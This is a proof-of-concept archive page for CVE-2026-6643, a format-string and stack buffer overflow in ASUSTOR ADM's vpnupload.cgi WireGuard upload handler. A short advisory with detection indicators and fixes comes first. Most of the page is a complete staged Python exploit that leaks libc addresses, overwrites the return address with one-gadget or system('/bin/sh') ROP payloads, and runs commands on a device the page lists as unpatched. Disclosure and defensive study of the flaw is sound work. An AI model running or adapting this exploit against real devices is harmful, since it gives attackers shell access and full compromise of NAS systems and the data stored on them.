PoC Archive PoC Archive
Critical CVE-2026-6643 unpatched

ASUSTOR ADM vpnupload.cgi Format String / Stack Buffer Overflow RCE — CVE-2026-6643

by mlgzackfly · 2026-07-05

Severity
Critical
CVE
CVE-2026-6643
Category
binary
Affected product
ASUSTOR ADM (ASUSTOR Data Master), /portal/apis/settings/vpnupload.cgi (upload_wireguard action)
Affected versions
ADM 5.1.2.REO1 (X64_G3, build 2026-02-25); per source repository for other versions
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchermlgzackfly
CVE / AdvisoryCVE-2026-6643
Categorybinary
SeverityCritical
CVSS ScoreNot specified in source (source lists qualitative severity “High”)
StatusPoC
Tagsasustor, adm, nas, format-string, stack-buffer-overflow, cwe-134, cwe-121, rce, wireguard
RelatedN/A

Affected Target

FieldValue
Software / SystemASUSTOR ADM (ASUSTOR Data Master), /portal/apis/settings/vpnupload.cgi (upload_wireguard action)
Versions AffectedADM 5.1.2.REO1 (X64_G3, build 2026-02-25); per source repository for other versions
Language / PlatformNative C binary (CGI), x86-64 Linux firmware; PoC written in Python 3
Authentication RequiredYes — a valid Revive_Session cookie is required
Network Access RequiredYes

Summary

The ASUSTOR ADM NAS operating system’s WireGuard config upload handler (vpnupload.cgi, upload_wireguard action) contains two chained memory-safety bugs. First, it JSON-encodes the parsed config and passes the result directly as the format string to printf(), giving an authenticated attacker control over a printf format string (CWE-134) — allowing stack memory disclosure via %x/%p and arbitrary memory writes via %n. Second, it copies config fields into fixed 300-byte stack buffers using unbounded sscanf("%s") while accepting up to 32,768 bytes per line via fgets (CWE-121), enabling a classic stack buffer overflow. The repository’s PoC and analysis chain these two bugs — using the format string leak to recover a libc base address, then overflowing the Endpoint field (closest 300-byte buffer to the saved return address) to redirect execution to system() or a one-gadget, achieving remote code execution as the web server user.


Vulnerability Details

Root Cause

In the upload_wireguard handler, the parsed WireGuard config is serialized to JSON and then executed as printf(pcVar2) instead of printf("%s", pcVar2), so any format specifiers embedded in config field values (e.g. PrivateKey) are interpreted by printf. Separately, eight config fields (PrivateKey, Address, PublicKey, ListenPort, PresharedKey, AllowedIPs, PersistentKeepalive, Endpoint) are each copied into 300-byte stack buffers via sscanf(__s, "Field = %s", buf) with no length limit, while only the DNS field has a bound applied. The binary was compiled without stack canaries, without PIE, and with only partial RELRO (GOT writable), and FORTIFY_SOURCE protection is absent (plain printf rather than __printf_chk), which together make both the info leak and the overwrite reliable.

Attack Vector

  1. Authenticate to obtain a valid Revive_Session cookie.
  2. Upload a crafted WireGuard config (via a two-part multipart POST to vpnupload.cgi?act=upload_wireguard) with format specifiers (e.g. %08x) embedded in the PrivateKey field to leak stack values, including a libc pointer, in the response.
  3. Compute the libc base address from the leaked pointer using a known symbol offset (e.g. __libc_start_main), and use readelf/one_gadget against the extracted libc.so.6 to compute system(), /bin/sh, and gadget offsets.
  4. Overflow the Endpoint field (local_164, 300 bytes, 364 bytes from the saved return address) with a value exceeding 300 bytes to overwrite the saved RIP — a libc address’s trailing null bytes align naturally with the already-zero upper bytes of a typical return address, avoiding early truncation by sscanf("%s").
  5. Redirect execution to a one-gadget or a pop rdi; retsystem("/bin/sh") ROP chain built entirely from libc addresses (to avoid embedded NUL bytes) to obtain a shell as the web server user; the included exploit.py automates offset detection, leak, and RCE stages, plus arbitrary command execution once the GOT/return-address overwrite is established.

Impact

An authenticated attacker (any user able to reach the VPN config upload endpoint) can achieve remote code execution as the ADM web server process, leading to full compromise of the NAS device, including access to all stored data and any connected network segments.


Environment / Lab Setup

Target:   ASUSTOR ADM 5.1.2.REO1 (X64_G3) vpnupload.cgi, extracted/run from firmware image X64_G3_5.1.2.REO1.img; local test setup uses a single-byte auth-bypass patch (je -> jmp at offset 0x1224) for authenticated testing only
Attacker: Python 3 with `requests`, `readelf`, `strings`, and `one_gadget` (Ruby gem) for computing exploitation offsets

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
uv run exploit.py <host:port> '<cookie>' --stage offset
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

The script runs in stages: offset detects the format-string argument offset, leak dumps stack values to recover a libc pointer, rce/rce-rop overwrites the return address using either a one-gadget or a pop rdi+system() ROP chain, and shell executes an arbitrary command once code execution is established. Constants (LIBC_SYSTEM, LIBC_BINSH, LIBC_POP_RDI_RET, LIBC_ONE_GADGETS) must be updated per the target’s extracted libc.so.6.


Detection & Indicators of Compromise

Example crafted request:
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <session>
Content-Type: multipart/form-data; boundary=BOUND

PrivateKey = AAAA_%08x_%08x_%08x_%08x

Signs of compromise:

  • WireGuard config uploads to vpnupload.cgi containing %x, %p, %n, or other printf conversion specifiers in field values.
  • Unusually large field values (thousands of bytes) for PrivateKey/Endpoint/other WireGuard fields in upload requests.
  • CGI process crashes (SIGSEGV, exit code 139) correlating with VPN config uploads.
  • Outbound shell/command execution originating from the ADM web server process shortly after a VPN config upload.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05; source recommends replacing printf(pcVar2) with printf("%s", pcVar2) or fputs(pcVar2, stdout), and adding explicit length limits to all sscanf format strings (e.g. %299s for 300-byte buffers).
Interim mitigationRestrict network access to the ADM management/VPN upload interface to trusted hosts, and disable WireGuard config upload functionality for untrusted accounts until patched.

References


Notes

Mirrored from https://github.com/mlgzackfly/CVE-2026-6643 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
#!/usr/bin/env python3
"""
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi RCE

Exploitation chain:
  1. --stage offset : Auto-detect format string argument index on the stack
  2. --stage leak   : Leak libc pointer from stack, calculate libc base
  3. --stage rce    : Endpoint buffer overflow → one-gadget → shell
  4. --stage shell  : Send command after GOT[printf] has been overwritten with system()

Binary mitigations (vpnupload.cgi):
  No PIE | No Canary | No FORTIFY_SOURCE | Partial RELRO (GOT writable)

Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   (300B)
  local_998  Address              rbp-0x998   (300B)
  local_86c  PublicKey            rbp-0x86c   (300B)
  local_740  ListenPort           rbp-0x740   (300B)
  local_4e8  PresharedKey         rbp-0x4e8   (300B)
  local_3bc  AllowedIPs           rbp-0x3bc   (300B)
  local_290  PersistentKeepalive  rbp-0x290   (300B)
  local_164  Endpoint             rbp-0x164   (300B)  <- closest to RIP
  saved RBP                       rbp+0x000   (8B)
  saved RIP                       rbp+0x008   (8B)    <- target

Endpoint -> RIP distance: 0x164 + 8 = 364 bytes

Null byte constraint:
  sscanf("%s") stops copying at null bytes.
  libc addresses (0x7f...) in little-endian end with 2 null bytes.
  sscanf stops after writing the 6 significant bytes — but bytes 6-7 of
  the saved RIP slot are already 0x0000 (original return address) -> write succeeds.

Usage:
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage offset
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage leak --fmt-offset 8
  uv run exploit.py 192.168.1.1:8000 'Revive_Session=abc123' --stage rce --libc-base 0x7f1234560000
"""

import argparse
import re
import struct
import sys

import requests

TARGET   = "http://{host}/portal/apis/settings/vpnupload.cgi?act=upload_wireguard"
BOUNDARY = "XBOUND"

# -- libc offsets — extract from the firmware's libc.so.6 --------------------
#
# How to obtain:
#   readelf -s libc.so.6 | grep -w system
#   strings -a -t x libc.so.6 | grep /bin/sh
#   one_gadget libc.so.6          <- install: gem install one_gadget
#
# Values below are common glibc 2.31 x86-64 defaults; adjust for your firmware:
LIBC_SYSTEM        = 0x055410
LIBC_BINSH         = 0x1B75AA
LIBC_POP_RDI_RET   = 0x026B72   # pop rdi; ret  (libc gadget, no null bytes)
LIBC_RET           = 0x026573   # ret           (stack alignment)
LIBC_ONE_GADGETS   = [0xE3AFE, 0xE3B01, 0xE3B04]

# Byte distance from start of Endpoint buffer to saved RIP
ENDPOINT_TO_RIP = 0x164 + 8   # 364


# -- HTTP transport ------------------------------------------------------------

def _build_conf(privkey="A", address="10.0.0.2/24",
                endpoint="vpn.test.com:51820", allowedips="0.0.0.0/0",
                publickey="BBBBBBBB") -> bytes:
    return (
        "[Interface]\n"
        f"PrivateKey = {privkey}\n"
        f"Address = {address}\n"
        "DNS = 1.1.1.1\n\n"
        "[Peer]\n"
        f"PublicKey = {publickey}\n"
        f"AllowedIPs = {allowedips}\n"
        f"Endpoint = {endpoint}\n"
    ).encode()


def _multipart(conf: bytes) -> tuple[bytes, str]:
    # Parser requires boundary counter = 2; first part is a dummy section
    body = (
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="metadata"; filename="t.conf"\r\n'
        "\r\ndummy\r\n"
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="t.conf"\r\n'
        "\r\n"
    ).encode() + conf + f"\r\n--{BOUNDARY}--\r\n".encode()
    return body, f"multipart/form-data; boundary={BOUNDARY}"


def post(host: str, cookie: str, **fields) -> requests.Response:
    body, ct = _multipart(_build_conf(**fields))
    return requests.post(
        TARGET.format(host=host),
        data=body,
        headers={"Cookie": cookie, "Content-Type": ct},
        timeout=15,
    )


def _echo(response_text: str) -> str | None:
    m = re.search(r'"clientprivatekey"\s*:\s*"([^"]+)"', response_text)
    return m.group(1) if m else None


# -- Stage 1: Auto-detect format string argument offset -----------------------

def stage_offset(host: str, cookie: str) -> int:
    """
    Send AAAA.%N$x for N=1..50 and find where 0x41414141 appears in the echo.
    """
    print("[*] Detecting format string argument offset...")
    for n in range(1, 51):
        resp = post(host, cookie, privkey=f"AAAA.%{n}$x")
        echo = _echo(resp.text)
        if echo and "41414141" in echo:
            print(f"[+] Offset: {n}  (echo: {echo[:60]})")
            return n
    print("[-] Offset not found — verify cookie is valid")
    sys.exit(1)


# -- Stage 2: Leak libc base --------------------------------------------------

def stage_leak(host: str, cookie: str, fmt_offset: int) -> int:
    """
    Read 40 stack words starting from fmt_offset.
    Values in the 0x7f... range are libc pointers.

    Returns the first libc candidate (not the base yet — subtract symbol offset manually).
    """
    count = 40
    fmt = ".".join(f"%{fmt_offset + i}$016lx" for i in range(count))
    resp = post(host, cookie, privkey=fmt)
    echo = _echo(resp.text)
    if not echo:
        print(f"[-] No echo in response: {resp.text[:300]}")
        sys.exit(1)

    words = re.findall(r"[0-9a-f]{16}", echo)
    print(f"[+] Stack dump (args {fmt_offset}..{fmt_offset + count - 1}):")

    libc_hits = []
    for i, w in enumerate(words):
        val = int(w, 16)
        tag = ""
        if 0x7F000000000000 <= val <= 0x7FFFFFFFFFFF:
            tag = "  <- libc candidate"
            libc_hits.append((fmt_offset + i, val))
        print(f"    [{fmt_offset + i:3d}]  {hex(val)}{tag}")

    if not libc_hits:
        print("[-] No libc pointers found — try increasing count or adjusting fmt_offset")
        return 0

    idx, val = libc_hits[0]
    print(f"\n[+] Best candidate: arg[{idx}] = {hex(val)}")
    print(f"    Identify the symbol with gdb/readelf, then:")
    print(f"    libc_base = {hex(val)} - <symbol_offset>")
    print(f"    Then run: --stage rce --libc-base <result>")
    return val


# -- Stage 3: RCE via Endpoint overflow ---------------------------------------

def stage_rce(host: str, cookie: str, libc_base: int):
    """
    Overflow the Endpoint buffer (local_164, rbp-0x164) to overwrite saved RIP.

    Payload layout:
      [364 bytes padding] + [one_gadget address (8 bytes)]
                                 ^ libc address = 0x00007f??????????
                                   first 6 bytes are significant, last 2 = 0x0000
                                   sscanf stops at the null bytes, but those bytes
                                   were already 0x0000 in saved RIP -> write succeeds

    one_gadget calls execve("/bin/sh") directly — no argument setup needed.
    """
    print(f"[*] libc base: {hex(libc_base)}")
    print(f"[*] Endpoint buffer -> RIP offset: {ENDPOINT_TO_RIP} bytes")

    for og in LIBC_ONE_GADGETS:
        target = libc_base + og
        print(f"\n[*] Trying one_gadget +{hex(og)} = {hex(target)}")

        rip_bytes = struct.pack("<Q", target)
        payload   = b"A" * ENDPOINT_TO_RIP + rip_bytes

        try:
            resp = post(host, cookie, endpoint=payload.decode("latin-1"))
            print(f"    HTTP {resp.status_code}")
            if resp.status_code == 200:
                print("    [+] No crash — check your listener")
        except requests.exceptions.ConnectionError:
            print("    Connection reset (wrong gadget or offset)")
        except Exception as e:
            print(f"    {e}")

    print("\n[!] If all gadgets fail:")
    print("    1. Confirm ENDPOINT_TO_RIP with a cyclic pattern + gdb core")
    print("    2. Run: one_gadget libc.so.6  to get correct offsets")
    print("    3. Verify libc_base calculation")


# -- Stage 3b: ROP chain (system + /bin/sh) -----------------------------------

def stage_rce_rop(host: str, cookie: str, libc_base: int):
    """
    Fallback if all one_gadgets fail: pop rdi; ret -> /bin/sh -> ret -> system().

    All gadgets come from libc (0x7f... addresses, no embedded null bytes).
    system() ends with 2 null bytes but is the last value in the chain —
    sscanf stops there after the write has already completed.

    Payload layout:
      [364 bytes padding]     <- fills Endpoint buffer + saved RBP
      [pop rdi; ret]   8B    <- overwrites saved RIP (libc addr, no nulls)
      [/bin/sh addr]   8B    <- rdi argument
      [ret]            8B    <- stack alignment
      [system()]       8B    <- last value; trailing null bytes are harmless
    """
    system  = libc_base + LIBC_SYSTEM
    binsh   = libc_base + LIBC_BINSH
    pop_rdi = libc_base + LIBC_POP_RDI_RET
    ret     = libc_base + LIBC_RET

    print(f"[*] ROP chain:")
    print(f"    pop rdi; ret = {hex(pop_rdi)}")
    print(f"    /bin/sh      = {hex(binsh)}")
    print(f"    ret          = {hex(ret)}")
    print(f"    system()     = {hex(system)}")

    # padding fills up to saved RIP; ROP chain starts at saved RIP
    pad_len = ENDPOINT_TO_RIP
    payload = (
        b"A" * pad_len
        + struct.pack("<Q", pop_rdi)
        + struct.pack("<Q", binsh)
        + struct.pack("<Q", ret)
        + struct.pack("<Q", system)
    )

    print(f"[*] Payload: {len(payload)} bytes -> sending...")
    try:
        resp = post(host, cookie, endpoint=payload.decode("latin-1"))
        print(f"[+] HTTP {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print("[+] Connection reset -> crash or shell spawned")


# -- Stage 4: Command execution (requires prior GOT overwrite) ----------------

def stage_shell(host: str, cookie: str, cmd: str):
    """
    Prerequisite: GOT[printf] must already be overwritten with system().
    This exploit does not implement the %n GOT overwrite stage; use an
    external tool (e.g. pwntools) to perform the write first.

    Once overwritten, printf(user_data) becomes system(user_data).
    The command is placed in the PrivateKey field.
    """
    print("[!] Prerequisite: GOT[printf] must already point to system()")
    print(f"[*] Sending command: {cmd}")
    resp = post(host, cookie, privkey=cmd)
    print(f"[+] HTTP {resp.status_code}")
    print(f"    {resp.text[:400]}")


# -- Banner -------------------------------------------------------------------

def banner():
    cyan, reset = "\033[96m", "\033[0m"
    art = r"""
  _____ __      __ ______          ___    ___   ___     __             __     __   _  _    ____
 / ____|\ \    / /|  ____|        |__ \  / _ \ |__ \   / /            / /    / /  | || |  |___ \
| |      \ \  / / | |__    ______    ) || | | |   ) | / /_   ______  / /_   / /_  | || |_   __) |
| |       \ \/ /  |  __|  |______|  / / | | | |  / / | '_ \ |______|| '_ \ | '_ \ |__   _| |__ <
| |____    \  /   | |____          / /_ | |_| | / /_ | (_) |        | (_) || (_) |   | |   ___) |
 \_____|    \/    |______|        |____| \___/ |____| \___/          \___/  \___/    |_|  |____/
"""
    print(f"{cyan}{art}{reset}")
    print("  ASUSTOR ADM 5.1.2 vpnupload.cgi")
    print("  Format String (CWE-134) + Stack Buffer Overflow (CWE-121) -> RCE")
    print("  by mlgzackfly")
    print()


# -- CLI ----------------------------------------------------------------------

def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-6643 ASUSTOR ADM 5.1.2 RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Steps: offset -> leak -> rce  (or rce-rop if one_gadget fails)",
    )
    ap.add_argument("host",   help="host:port  e.g. 192.168.1.1:8000")
    ap.add_argument("cookie", help="Session cookie  e.g. 'Revive_Session=abc123'")
    ap.add_argument("--stage",
                    choices=["offset", "leak", "rce", "rce-rop", "shell"],
                    default="offset")
    ap.add_argument("--fmt-offset", type=int,
                    help="Format string argument index (output of --stage offset)")
    ap.add_argument("--libc-base",  type=lambda x: int(x, 0),
                    help="libc base address (calculated from --stage leak)")
    ap.add_argument("--cmd", default="id",
                    help="Command for --stage shell (default: id)")
    banner()
    args = ap.parse_args()

    if args.stage == "offset":
        stage_offset(args.host, args.cookie)

    elif args.stage == "leak":
        off = args.fmt_offset or stage_offset(args.host, args.cookie)
        stage_leak(args.host, args.cookie, off)

    elif args.stage == "rce":
        if not args.libc_base:
            ap.error("--libc-base is required")
        stage_rce(args.host, args.cookie, args.libc_base)

    elif args.stage == "rce-rop":
        if not args.libc_base:
            ap.error("--libc-base is required")
        stage_rce_rop(args.host, args.cookie, args.libc_base)

    elif args.stage == "shell":
        stage_shell(args.host, args.cookie, args.cmd)


if __name__ == "__main__":
    main()